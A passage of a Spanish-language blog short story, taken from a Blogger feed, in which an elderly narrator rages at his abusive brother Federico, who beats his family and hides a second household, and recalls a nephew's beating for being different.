La escena que describió después de eso se me hizo difícil de asimilar, pero al mismo tiempo me recordaban los actos cobardes y violentos de mi hermano hacia mis sobrinos, por lo que supe no termino la frase por una cachetada que&amp;nbsp;interrumpió&amp;nbsp;el discurso seguido de una golpiza a puño cerrado y patadas, que fue interrumpida por...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
A mi edad recordar los detalles no se me da, pero si se que mi hermano ese día no fue asaltado, ¡soy viejo no pendejo!, ¡no hubo llamada!, ¡nadie sabe en que micro venía!, o como fue que llegó al hospital, solo un disparo en el hombro, que fracturó su&amp;nbsp;clavícula&amp;nbsp;y perforó un pulmón, ¡que chingaderas!, ¿porque mi cuñada es tan pendeja?...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Es hora de visita, voy a hablar con ese cabrón, aunque no me responda se lo voy a decir, ¡que se chingue!, le voy a decir que le contaré todo a su vieja, ¡ya va siendo hora!, que se entere de Lucresia, ¡de su otro pinche departamento!, ¡de la casa chica!...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
¿A ver?, ¿que me va a decir el muy pendejo? jaja&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como si no supiera ya mi cuñada, si hasta sus hijos lo saben, si no son pendejos, aunque este ojete les parta la madre cada tercer día el muy cabrón, ellos lo saben...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Es esa pinche frase lo que sigue&amp;nbsp;dándome&amp;nbsp;vueltas en la cabeza, esa pinche frase del que me gusto pa su medio hermano de mis sobrinos, mi sobrino pues!, es por eso que le voy a decir a este pendejo y a su vieja, pa que lo dejen solo como el perro que es, aunque solo quede yo pa cuidarlo, después de todo eso fue lo que me dijo mi jefecita -hay te encargo a Federico...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;...ese día comprendí que ser diferente tiene su precio, pero también comprendí que a pesar de la madriza, del hocico con sangre, de la espalda morada y molida por los golpes, yo quería seguir siendo diferente y no tener una pinche goma rosa...&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
ya es la hora, ¡que se chingue!, ¡pinche Federico!.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/8251508758046505487/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2012/05/el-precio-de-ser-diferente.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/8251508758046505487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/8251508758046505487'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2012/05/el-precio-de-ser-diferente.html' title='El precio de ser diferente...'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>1</thr:total></entry></feed>